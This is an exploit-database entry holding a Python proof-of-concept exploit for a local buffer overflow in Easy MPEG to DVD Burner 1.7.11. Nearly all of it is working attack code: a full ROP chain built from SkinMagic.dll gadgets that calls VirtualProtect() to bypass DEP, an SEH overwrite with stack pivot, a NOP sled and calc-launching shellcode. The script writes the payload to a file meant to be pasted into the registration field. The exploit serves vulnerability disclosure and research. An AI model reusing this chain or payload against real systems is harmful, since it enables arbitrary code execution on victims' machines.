## https://sploitus.com/exploit?id=PACKETSTORM:157264
# Exploit Title: Easy MPEG to DVD Burner 1.7.11 - Buffer Overflow (SEH + DEP)
# Date: 2020-04-15
# Exploit Author: Bailey Belisario
# Tested On: Windows 7 Ultimate x64
# Software Link: https://www.exploit-db.com/apps/32dc10d6e60ceb4d6e57052b6de3a0ba-easy_mpeg_to_dvd.exe
# Version: 1.7.11
# Exploit Length: 1015 Bytes
# Steps : Open application > Register > In Username field paste content of pwn.txt file (Note open this in sublime or vscode)
# Easy MPEG to DVD Burner 1.7.11 SEH + DEP Bypass using VirtualProtect() on Local Buffer Overflow
# Exploit used with Python2.7
#------------------------------------------------------------------------------------------------------------------------------------#
# Bad Characters: \x00\x0a\x0d #
# SEH Offset: 1012 #
# Modules Used: SkinMagic.dll & Easy MPEG to DVD Burner.exe #
#------------------------------------------------------------------------------------------------------------------------------------#
# Register setup for VirtualProtect() (Bypass DEP) :
#---------------------------------------------------
# EAX = Points to PUSHAD at time VirtualProtect() is called
# ECX = lpflOldProtect (0x10047d30 as writable location)
# EDX = flNewProtect(0x40)
# EBX = dwSize (0x92)
# ESP = lpAddress (automatic)
# EBP = ReturnTo (ptr to jmp esp)
# ESI = ptr to VirtualProtect()
# EDI = ROP NOP (RETN)
import struct
def create_rop_chain():
rop_gadgets = [
# Put 1 in EDX and decrement to 0
0x10031752, # XOR EDX,EDX # CMP EAX,DWORD PTR [ECX+8] # SETGE DL # MOV AL,DL # RETN
0x1003629a, # ADD EAX,4 # DEC EDX # JNE SKINMAGIC!SETSKINMENU+0X2F505 (10036295) # POP ESI # RETN
0x11111111, # Filler
# Pop the pointer of VirtualProtect into EAX
0x10037b12, # POP EAX # RETN
0x1003b268, # ptr to &VirtualProtect() [IAT SkinMagic.dll]
# Dereference Pointer into EDX then move back to EAX
0x1001c011, # ADD EDX,DWORD PTR [EAX] # RETN 0x0C
0x10031772, # MOV EAX,EDX # RETN
0x11111111, # Filler
0x11111111, # Filler
0x11111111, # Filler
# Push VP and pop into EBP
0x1002e17b, # PUSH EAX # PUSH ESP # XOR EAX,EAX # POP ESI # POP EBP # RETN 0x0C
0x10037b12, # POP EAX # RETN
0x11111111, # Filler
0x11111111, # Filler
0x11111111, # Filler
# Use this to get to address needed to Pop VP into ESI
0x1003619e, # POP EAX # POP ESI # RETN
# Move VP to +12 on stack then push the POP POP RETN
0x10032485, # MOV DWORD PTR [ESP+0CH],EBP # LEA EBP,DWORD PTR DS:[ESP+0CH] # PUSH EAX # RETN
0x11111111, # Filler popped
0x11111111, # Filler popped
# Set ESI to VP
0x1002e1ce, # POP ESI # RETN [SkinMagic.dll]
0x11111111, # Where VP is MOV into
# Set EBP with POP EBP RETN
0x1002894f, # POP EBP # RETN [SkinMagic.dll]
0x1002894f, # skip 4 bytes [SkinMagic.dll]
# Set EDX (# s -d 0x10000000 L?0x10050000 0000003f <- used to find 3F)
# Clear out EDX, set it to 0x01, find address where DWORD of EAX will be 0x3F, then add to EDX to be 0x40
0x10031752, # XOR EDX,EDX # CMP EAX,DWORD PTR [ECX+8] # SETGE DL # MOV AL,DL # RETN
0x10037b12, # POP EAX # RETN
0x1005a0a0, # Address of 3F
0x10026173, # ADD EDX,DWORD PTR [EAX] # RETN
# Set EBX to 0x92 assuming EBX is 0, but could work with a decent range of numbers
# Note: This should be at least length of shellcode
0x100362c6, # XOR EAX,EAX # RETN
0x10033fb2, # ADD AL,0C9 # RETN
0x10033fb2, # ADD AL,0C9 # RETN
0x10035c12, # ADC BL,AL # OR CL,CL # JNE SKINMAGIC!SETSKINMENU+0X2EEDB (10035C6B) # RETN
# Set ECX to writable location
0x1003603f, # POP ECX # RETN [SkinMagic.dll]
0x10047d30, # &Writable location [SkinMagic.dll]
# Set EDI to ROP NOP
0x100395c2, # POP EDI # RETN [SkinMagic.dll]
0x10032982, # RETN (ROP NOP) [SkinMagic.dll]
# Do PUSHAD and be 1337
0x10037654, # POP EAX # RETN
0xa140acd2, # CONSTANT
0x100317c8, # ADD EAX,5EFFC883 # RETN
0x1003248d, # PUSH EAX # RETN
# Used to jump to ESP
0x1001cc57, # ptr to 'push esp # ret ' [SkinMagic.dll]
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
ropChain = create_rop_chain()
# CALC.EXE for POC
shell = ("\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64\x8B\x72"
"\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B\x7E\x18\x8B\x5F"
"\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20\x01\xFE\x8B\x4C\x1F\x24"
"\x01\xF9\x0F\xB7\x2C\x51\x42\xAD\x81\x3C\x07\x57\x69\x6E\x45"
"\x75\xF1\x8B\x74\x1F\x1C\x01\xFE\x03\x3C\xAE\xFF\xD7")
# 148 Bytes needed to return to ROP CHAIN
paddingBeginning = "B"*148
# NOP Sled needs to be sufficient length, from some math, I came out with a buffer of 444 - len(ROP CHAIN)
nopLen = 444 - len(ropChain)
nopSled = '\x90'*nopLen
# Padding to SEH needs to consider the 420 bytes remaining - shellcode
paddingMiddleLen = 420 - len(shell)
paddingMiddle = 'B'*paddingMiddleLen
# 0x004043ee (add esp, 7D4) Stack Pivot 2004 bytes
# This brings total bytes to SEH Offset (1012) + 3 for a total of 1015 bytes
seh = "\xee\x43\x40"
# Exploit Visualization #
#------------------------#
# BBBBBBBBBBBBBBBBBBBB #
#------------------------#
# ROP CHAIN #
#------------------------#
# NOPS #
#------------------------#
# SHELL CODE #
#------------------------#
# BBBBBBBBBBBBBBBBBBBB #
#------------------------#
# SEH #
#------------------------#
exploit = paddingBeginning + ropChain + nopSled + shell + paddingMiddle + seh
file = open("pwn.txt", 'w')
file.write(exploit)
file.close()